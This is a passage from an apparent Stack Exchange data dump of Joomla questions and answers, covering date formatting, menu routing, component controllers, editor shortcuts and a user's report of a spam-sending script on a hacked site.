  <row Id="12363" PostTypeId="1" CreationDate="2015-08-28T03:24:37.503" Score="1" ViewCount="1711" Body="&lt;p&gt;I have a select query which returns a DATETIME value (stored format: &lt;code&gt;YYYY-MM-DD HH:MM:SS&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show this on my site in &quot;Euro date format&quot; in other words &lt;code&gt;d-m-y&lt;/code&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what sql code should I use in my &lt;code&gt;SELECT&lt;/code&gt; query to show &lt;code&gt;d-m-y&lt;/code&gt; format rather its current &lt;code&gt;YYYY-MM-DD HH:MM:SS&lt;/code&gt; format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the value to be in the following date-only format: &lt;code&gt;DD-MM-YYYY&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="12352" LastEditDate="2018-06-20T05:43:51.823" LastActivityDate="2019-05-28T22:46:06.450" Title="Reformat DATETIME type value to European date format" Tags="|joomla-3.x|php|mysql|date|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12364" PostTypeId="2" ParentId="8714" CreationDate="2015-08-28T11:50:06.897" Score="1" Body="&lt;p&gt;You can try Widgetkit from Yootheme. Im my opinion is the best component to create multiple Gallery. You can use the gallery in any part of your content using tags like [widgetkit id=&quot;xx&quot;]. With this, you can use paragraph text, gallery and paragraph text again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yootheme.com/demo/widgetkit/joomla/index.php/home/gallery&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/demo/widgetkit/joomla/index.php/home/gallery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-28T11:50:06.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12365" PostTypeId="1" AcceptedAnswerId="12366" CreationDate="2015-08-28T12:54:36.580" Score="0" ViewCount="100" Body="&lt;p&gt;I have a menu item &quot;First Level&quot; (it is a single article) and it has a child menu item &quot;Second Level&quot;. This &quot;Second Level&quot; menu item is a category blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I navigate to this blog both menu items are marked as active. But if I want to &quot;read more&quot; from one of this blog items, the menu wont show any active item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a problem in the linking. Clicking the menu items  leading to following urls: &quot;/first-level/second-level/&quot; (the alias of the menu items). But the blog items are linked as follows: &quot;/second_level_section/blog-item-example&quot; &#xA;Notice: first level disappear, the underlines in the second level alias and of course the &quot;section&quot; string in it....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand how/where this link is created. Can anybody give me a tip to solve this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Doc&lt;/p&gt;&#xA;" OwnerUserId="5814" LastActivityDate="2015-08-29T22:00:22.407" Title="Category blog Item leads to inactive menu item" Tags="|menu-item|active|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12366" PostTypeId="2" ParentId="12365" CreationDate="2015-08-28T13:23:54.797" Score="1" Body="&lt;p&gt;Do you have any other menu item that link to the same content? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you have another menu item for that category, with the alias &quot;second_level_section&quot; and that menu item is being used when you are accessing articles of this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that you have this menu item in a hidden menu (not visible with a menu module in front-end).&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="126" LastEditDate="2015-08-29T22:00:22.407" LastActivityDate="2015-08-29T22:00:22.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12367" PostTypeId="2" ParentId="12363" CreationDate="2015-08-28T13:45:33.390" Score="1" Body="&lt;p&gt;The joomla use in php code articles this code to show date and time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;echo JHtml::_(&#xA;'date', $article-&amp;gt;displayDate,&#xA;$this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('date_format', JText::_('DATE_FORMAT_LC3')))&#xA;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla use string 'DATE_FORMAT_LC3' to format date and time. If your site was use language english you can change the file in:&#xA;/language/en-GB/en-GB.ini &#xA;in lines around 261-266&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT_LC3=&quot;d F Y&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT_LC3=&quot;dd-mm-yyyy&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-08-28T13:45:33.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12368" PostTypeId="1" AcceptedAnswerId="16310" CreationDate="2015-08-28T14:03:47.767" Score="1" ViewCount="409" Body="&lt;p&gt;Hello everyone I have Joomla system under DA management.&#xA;For awhile now I'm receiving into my DA message system alerts that PHP is sending too much emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the message I'm receiving from Direct Admin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; The X account has just finished sending 50 emails.&#xA;There could be a spammer, the account could be compromised, or just sending more emails than usual.&#xA;&#xA;After some processing of the /etc/virtual/usage/X.bytes file, it was found that the highest sender was nellie_osborne@x.com, at 15 emails.&#xA;&#xA;&#xA;&#xA;The most common path that the messages were sent from is /home/x/domains/X.com/public_html/images/stories/virtuemart, at 51 emails (102%).&#xA;The path value may only be of use if it's pointing to that of a User's home directory.&#xA;If the path is a system path, it likely means the email was sent through smtp rather than using a script.&#xA;&#xA;The top sending script was /home/X/domains/x.com/public_html/images/stories/virtuemart/proxy98.php(1958) : eval()'d code:775, at 30 emails, (60%).&#xA;&#xA;&#xA;&#xA;This warning was generated because the 50 email threshold was hit.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, it seems like there's multiple PHP's implemented around the system that send out those emails, in this case its proxy98.php and in other cases it was other files that I deleted but it kept sending emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a &lt;a href=&quot;http://pastebin.com/y3EGnXpu&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; to the proxy98.php's code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be more than happy if you could help me sort this thing out.&lt;/p&gt;&#xA;" OwnerUserId="5815" LastEditorUserId="126" LastEditDate="2016-04-26T06:53:15.037" LastActivityDate="2016-04-26T06:53:15.037" Title="Joomla Email virus" Tags="|php|security|server|configuration|hacked|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12369" PostTypeId="2" ParentId="12353" CreationDate="2015-08-28T14:05:58.917" Score="2" Body="&lt;p&gt;Browsers store the favicon and it's one of the elements that is hard to refresh, even if clearing caches.&lt;/p&gt;&#xA;&lt;p&gt;Here are some solutions to help with refreshing the favicon you see in your browser:&lt;/p&gt;&#xA;&lt;p&gt;-ok I see @Lodders answer, there are the 2 first options I wanted to suggest, so below are a few other options by browser. Since I am on a mac, the solutions I propose are mainly for mac - and the 3 browsers I am most familiar with.&lt;/p&gt;&#xA;&lt;h2&gt;Firefox:&lt;/h2&gt;&#xA;&lt;p&gt;Navigate to FF &lt;code&gt;about:config&lt;/code&gt; page.&#xA;Filter with the term: &lt;code&gt;browser.chrome&lt;/code&gt;&#xA;Set &lt;code&gt;browser.chrome.favicons&lt;/code&gt; and &lt;code&gt;browser.chrome.site_icons&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;.&#xA;Close and re-open FF.&#xA;Re-set the above setting to &lt;code&gt;true&lt;/code&gt;, to re-enable favicons, and force FF to download fresh ones from the websites you navigate.&lt;/p&gt;&#xA;&lt;p&gt;For firefox there is also an addon that removes/clear favicons:&#xA;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/delete-bookmark-icons/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/delete-bookmark-icons/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;*I think this should be similar in Windows as well.&lt;/p&gt;&#xA;&lt;h2&gt;Chrome Mac:&lt;/h2&gt;&#xA;&lt;p&gt;Remove the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Google/Chrome/Default/Favicons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;*There should be a similar location where Chrome stores local data in Windows.&lt;/p&gt;&#xA;&lt;h2&gt;Safari Mac:&lt;/h2&gt;&#xA;&lt;p&gt;In older versions, it was possible to select to remove website icons, from the &lt;strong&gt;Reset Safari command&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In recent versions, you can remove the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`~/Library/Safari/WebpageIcons.db`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-08-28T14:05:58.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12371" PostTypeId="1" CreationDate="2015-08-28T19:15:12.467" Score="1" ViewCount="99" Body="&lt;p&gt;I would like to check out items, that are edited by user XYZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, it works so far: If somebody opens an item, the default-view shows the &quot;lock&quot; icon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: If I click the link to the checked out item, I can access the item without problems, where it should say &lt;code&gt;Direct access not allowed&lt;/code&gt; or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I inserted this into my default-view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ordering   = ($listOrder == 'a.ordering');&#xA;$canCreate  = $user-&amp;gt;authorise('core.create',       'com_bestia');&#xA;$canEdit    = $user-&amp;gt;authorise('core.edit',         'com_bestia');&#xA;$canCheckin = $user-&amp;gt;authorise('core.manage',       'com_bestia');&#xA;$canChange  = $user-&amp;gt;authorise('core.edit.state',   'com_bestia');&#xA;...&#xA;&#xA;&amp;lt;?php if ($item-&amp;gt;checked_out) : ?&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('jgrid.checkedout', $i, $item-&amp;gt;editor, $item-&amp;gt;checked_out_time, 'users.', $canCheckin); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;                                             &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My controller has the following display-method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = false) &#xA;{&#xA;    require_once JPATH_COMPONENT . '/helpers/bestia.php';&#xA;&#xA;    $view   = $this-&amp;gt;input-&amp;gt;get('view');&#xA;    $layout = $this-&amp;gt;input-&amp;gt;get('layout');&#xA;    $id     = $this-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;    // Check for edit form.&#xA;    if ($view == 'user' &amp;amp;&amp;amp; $layout == 'edit' &amp;amp;&amp;amp; !$this-&amp;gt;checkEditId('com_bestia.edit.user', $id))&#xA;    {&#xA;        // Somehow the person just went to the form - we don't allow that.&#xA;        $this-&amp;gt;setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));&#xA;        $this-&amp;gt;setMessage($this-&amp;gt;getError(), 'error');&#xA;        $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_bestia&amp;amp;view=user', false));&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    parent::display($cachable, $urlparams);&#xA;&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-28T19:15:12.467" Title="Joomla Checking out items does not work correctly" Tags="|php|development|extensions|joomla-3.4|check-in|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12375" PostTypeId="1" AcceptedAnswerId="12376" CreationDate="2015-08-29T10:59:39.387" Score="2" ViewCount="911" Body="&lt;p&gt;I am looking for an easy way to add &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tags in &lt;strong&gt;JCE editor&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I press enter, it creates either new &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements, according to the global settings of JCE, which is not what I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to insert &lt;strong&gt;BR&lt;/strong&gt; tags in &lt;strong&gt;JCE&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-29T10:59:39.387" Title="How to insert a BR tag in JCE?" Tags="|joomla-3.x|jce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12376" PostTypeId="2" ParentId="12375" CreationDate="2015-08-29T10:59:39.387" Score="5" Body="&lt;p&gt;You can insert a &lt;code&gt;BR&lt;/code&gt; tag in JCE, by pressing: &lt;code&gt;[SHIFT] + [ENTER]&lt;/code&gt;.&#xA;This will create a &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; element at the current cursor's position, inside the current container element and will move cursor to the next line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember, in JCE there is always the &lt;strong&gt;Source Code Editor&lt;/strong&gt; view, where you can type/edit directly your html.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-29T10:59:39.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12377" PostTypeId="2" ParentId="12341" CreationDate="2015-08-29T12:38:48.773" Score="2" Body="&lt;p&gt;I found the solution with the help of &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/users/1520/farahmand&quot;&gt;@Farahmand&lt;/a&gt;&lt;/strong&gt;, here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('_JEXEC') or die;&#xA;function empresaBuildRoute(&amp;amp;$query) //Esta función divide la url y se trae las variables.&#xA;{&#xA;    $segments = array();&#xA;&#xA;    if (isset($query['view']))&#xA;    {&#xA;        $segments[] = $query['view'];&#xA;        unset($query['view']);&#xA;    }&#xA;    if (isset($query['padre']))&#xA;    {&#xA;        $segments[] = $query['padre'];&#xA;        unset($query['padre']);&#xA;    };&#xA;    if (isset($query['id']))&#xA;    {&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    };&#xA;    if (isset($query['categoria']))&#xA;    {   &#xA;        $cat = explode(':', $query['categoria']); //Variable temporal para guardar solo el alias de la categoria&#xA;        if (count($cat) == 2) { //Contar los valores, si son dos es porque existe ID y Alias&#xA;            $segments[] = $cat[1];&#xA;        } else { //Caso contrario, seleccionar la categoría pues esta contendría solo el ID&#xA;            $segments[] = $query['categoria'];&#xA;        }&#xA;        unset($query['categoria']);&#xA;    };&#xA;&#xA;    if (isset($query['empresa']))&#xA;    {&#xA;        $segments[] = $query['empresa'];&#xA;        unset($query['empresa']);&#xA;    };&#xA;    return $segments;&#xA;}&#xA;&#xA;function empresaParseRoute($segments) //Esta función reconoce las variables y las reacomoda.&#xA;{   &#xA;&#xA;    print_r($segments); //Si deseas verificar el contenido de la Array &quot;segments&quot;.&#xA;    $vars = array();&#xA;    switch($segments[0])&#xA;    {&#xA;&#xA;        case 'actividad': //Verifica las View y según cada una del componente, ordena las variables.&#xA;        $vars['view'] = 'actividad';&#xA;            $id = explode(':', $segments[2]); //Los segmentos son una array que contiene otra array&#xA;            $vars['id'] = (int) $id[0]; //La posicion 0 de la array contenida en la posicion 2 de la array anterior&#xA;            break;&#xA;&#xA;        case 'empresa':&#xA;            $vars['view'] = 'empresa';&#xA;&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('id');&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__categories'));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('alias').&quot; = &quot;.$db-&amp;gt;quote($segments[1]));&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $result = $db-&amp;gt;loadResult();&#xA;&#xA;            $vars['categoria'] = (int) $result;&#xA;&#xA;            $empresa_alias = str_replace(&quot;:&quot;,&quot;-&quot;,$segments[2]);&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('id');&#xA;            $query-&amp;gt;from($db-&amp;gt;quoteName('#__viviren_empresa'));&#xA;            $query-&amp;gt;where($db-&amp;gt;quoteName('alias').&quot; = &quot;.$db-&amp;gt;quote($empresa_alias));&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $empresa = $db-&amp;gt;loadResult();&#xA;&#xA;            $vars['empresa'] = (int) $empresa;&#xA;        break;&#xA;    }&#xA;    return $vars;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Building the route I wrote a temporal variable to explode the query&#xA;by ':' called &lt;strong&gt;$cat&lt;/strong&gt;. If the query have a Slug, the explode will make an array like this: &lt;code&gt;array([0]=&amp;gt; id, [1]=&amp;gt; alias)&lt;/code&gt; else will be &lt;code&gt;array([0]=&amp;gt; id)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Next I make a conditional with a count to know if the array has actually an &lt;strong&gt;id&lt;/strong&gt; and an &lt;strong&gt;alias&lt;/strong&gt;: &lt;code&gt;if (count($cat) == 2) {&lt;/code&gt; if this is true it will fill the segment with only the alias content inside of &lt;strong&gt;$cat[1]&lt;/strong&gt;: &lt;code&gt;$segments[] = $cat[1];&lt;/code&gt; else it will fill with &lt;strong&gt;$query['categoria']&lt;/strong&gt;: &lt;code&gt;else { $segments[] = $query['categoria']; }&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Inside the &lt;strong&gt;parse()&lt;/strong&gt; in the case 'empresa', wich is my view, I made a DB call for information where I try to find the id when the alias is the listed one inside of &lt;strong&gt;$segments[1]&lt;/strong&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;    $db = JFactory::getDbo();&#xA;      $query = $db-&gt;getQuery(true);&#xA;      $query-&gt;select('id');&#xA;      $query-&gt;from($db-&gt;quoteName('#__categories'));&#xA;      $query-&gt;where($db-&gt;quoteName('alias').&quot; = &quot;.$db-&gt;quote($segments[1]));&#xA;      $db-&gt;setQuery($query);&#xA;    $result = $db-&gt;loadResult();&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And store that inside of &lt;strong&gt;$vars['categoria']&lt;/strong&gt; : &lt;code&gt;$vars['categoria'] = (int) $result;&lt;/code&gt; for the category id.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;For the &quot;empresa&quot; id I find (and I don't know why) that BuildRoute() or ParseRoute() changes the first &quot;-&quot; in an alias for a &quot;:&quot; and broke the DataBase call. To fix this i wrote &lt;code&gt;$empresa_alias = str_replace(&quot;:&quot;,&quot;-&quot;,$segments[2]);&lt;/code&gt; then &lt;strong&gt;instead&lt;/strong&gt; of use the &lt;strong&gt;$segments[1]&lt;/strong&gt; I used the &lt;strong&gt;$empresa_alias&lt;/strong&gt; variable.&lt;/li&gt;&#xA;&lt;li&gt;Finally the url now looks like &lt;code&gt;...com/actividades/empresa/cervecerias/&#xA;cerveceria-madriz-cafeteria&lt;/code&gt; without id in &quot;cervecerias&quot;. I'll repeat the same with the rest of my views. - &lt;a href=&quot;http://pinto.isalcedo.com/actividades/empresa/cervecerias/cerveceria-madriz-cafeteria&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pinto.isalcedo.com/actividades/empresa/cervecerias/cerveceria-madriz-cafeteria&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry for my english and I hope this can help a lot o people.&lt;/p&gt;&#xA;" OwnerUserId="5803" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-08-29T13:59:05.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12378" PostTypeId="2" ParentId="4289" CreationDate="2015-08-29T15:39:46.840" Score="-1" Body="&lt;p&gt;Better way is to use overrides. Simply modify the navigation template as described in the Joomla forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=713&amp;amp;t=814675&amp;amp;start=30&quot; rel=&quot;nofollow&quot;&gt;Joomla 3.x templates and Bootstrap 3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5821" LastActivityDate="2015-08-29T15:39:46.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12379" PostTypeId="1" CreationDate="2015-08-29T15:45:10.327" Score="1" ViewCount="421" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.t3-framework.org/&quot; rel=&quot;nofollow&quot;&gt;T3 Framework&lt;/a&gt; as a template for Joomla. In it's options there are options for optimizing Javascript and CSS. If set to ON the framework minifies and joins Javascript to 1 or 2 files that are loaded in the head section of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add the &lt;strong&gt;defer&lt;/strong&gt; attribute to those added scripts. How can that be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your answers.&lt;/p&gt;&#xA;" OwnerUserId="5752" LastEditorUserId="126" LastEditDate="2015-08-29T21:30:11.233" LastActivityDate="2015-08-29T21:30:11.233" Title="Adding defer to optimized javascript in T3 Framework" Tags="|joomla-3.x|javascript|performance|template-framework|t3-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12380" PostTypeId="1" CreationDate="2015-08-29T16:40:22.043" Score="1" ViewCount="1182" Body="&lt;p&gt;I would like to set up a default view. If my component gets called by using &lt;code&gt;administrator/index.php?option=com_bestia&amp;amp;view=&lt;/code&gt; I'm getting the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;404 View not found [Name, Typ, Präfix]: bestia, html, bestiaView&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;com_banners does it better:&#xA;&lt;code&gt;administrator/index.php?option=com_banners&amp;amp;view=&lt;/code&gt; results in showing the first page of banners component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class BestiaController extends JControllerLegacy &#xA;{&#xA;    protected $default_view         =           'cpanel';&#xA;&#xA;    /**&#xA;     * display function.&#xA;     * &#xA;     * @access public&#xA;     * @param bool $cachable (default: false)&#xA;     * @param bool $urlparams (default: false)&#xA;     * @return void&#xA;     */&#xA;    public function display($cachable = false, $urlparams = false) &#xA;    {&#xA;        require_once JPATH_COMPONENT . '/helpers/bestia.php';&#xA;&#xA;        $view       =   $this-&amp;gt;input-&amp;gt;get('view', 'cpanel');&#xA;        $layout     =   $this-&amp;gt;input-&amp;gt;get('layout', 'default');&#xA;        $id         =   $this-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;        // Check for edit form.&#xA;        if ($layout == 'edit' &amp;amp;&amp;amp; !$this-&amp;gt;checkEditId('com_bestia.edit.'.$view, $id))&#xA;        {&#xA;            // Somehow the person just went to the form - we don't allow that.&#xA;            $this-&amp;gt;setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));&#xA;            $this-&amp;gt;setMessage($this-&amp;gt;getError(), 'error');&#xA;            $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_bestia&amp;amp;view='.$view.'s', false));&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;&#xA;        return $this;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="29" LastEditDate="2019-12-06T07:19:38.870" LastActivityDate="2019-12-06T07:19:38.870" Title="Joomla-Development: Set default view" Tags="|joomla-api|joomla-3.4|view|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12381" PostTypeId="2" ParentId="12379" CreationDate="2015-08-29T17:28:35.483" Score="1" Body="&lt;p&gt;One way could be to use the jch_optimize plugin, that provides this kind of functionality: combine, compress, minimize javascript and css, set defer or async for javascript files that exist on a site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are both a free and a commercial version and you can compare their features here: &lt;a href=&quot;https://www.jch-optimize.net/downloads.html&quot; rel=&quot;nofollow&quot;&gt;https://www.jch-optimize.net/downloads.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-29T17:28:35.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12382" PostTypeId="2" ParentId="12380" CreationDate="2015-08-29T18:41:25.857" Score="3" Body="&lt;p&gt;I think your view files are missing or view class is named incorrectly (correct is [Prefix]View[Viewname]).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the name of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_banners/views/ to /viewx/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;500 View not found [name, type, prefix]: banners, html, bannersView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switch it back to /views/ - and error goes away.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastEditorUserId="8261" LastEditDate="2018-01-25T06:40:12.680" LastActivityDate="2018-01-25T06:40:12.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12383" PostTypeId="2" ParentId="12352" CreationDate="2015-08-29T21:35:56.270" Score="0" Body="&lt;p&gt;The class needed to be 'modal' in this case for it to work. &lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-29T21:35:56.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12384" PostTypeId="1" CreationDate="2015-08-31T06:13:07.250" Score="1" ViewCount="45" Body="&lt;p&gt;The function I am using right now to get categories (sorted alphabetically) is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_tree = ShopFunctions::categoryListTreeLoop($categoryIds,$cid = 0, $level = 0, $disabledFields = array(), $isSite=true, $vendorId=1, VmConfig::$vmlang);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want $category_tree to contain categories but to be sorted as per ordering that is made in VirtueMart. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="5688" LastEditorUserId="5688" LastEditDate="2016-12-22T14:40:21.573" LastActivityDate="2016-12-22T14:40:21.573" Title="Fetch categories sorted with ordering from Virtuemart" Tags="|virtuemart|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12385" PostTypeId="2" ParentId="10990" CreationDate="2015-08-31T06:29:24.953" Score="0" Body="&lt;p&gt;you must save options as array json in database so change this line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $postData['options']=json_encode(implode(',',$postData['options'])); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $postData['options']=json_encode($postData['options']); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then in loadFormData method in your model , you need to use json_decode for decode your array&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can use &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Repeatable field&lt;/a&gt; type for your form , and if you set name of your field as params , the all the jobs will be handled by joomla &lt;/p&gt;&#xA;" OwnerUserId="5827" LastActivityDate="2015-08-31T06:29:24.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12386" PostTypeId="1" AcceptedAnswerId="12397" CreationDate="2015-08-31T07:37:54.583" Score="0" ViewCount="94" Body="&lt;p&gt;I was trying to update my Joomla 3 site to the 3.2 stable release via Extension manager on localhost, but after installing it, I got a white screen when I try to access the back and the front-end. I've changed the error reporting in the configuration to maximum, and I got this error showing:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WVWZa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WVWZa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="5214" LastActivityDate="2015-08-31T18:31:29.120" Title="Fatal error: JApplicationCms::getUserState()" Tags="|joomla-3.x|update|front-end|phpmyadmin|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC 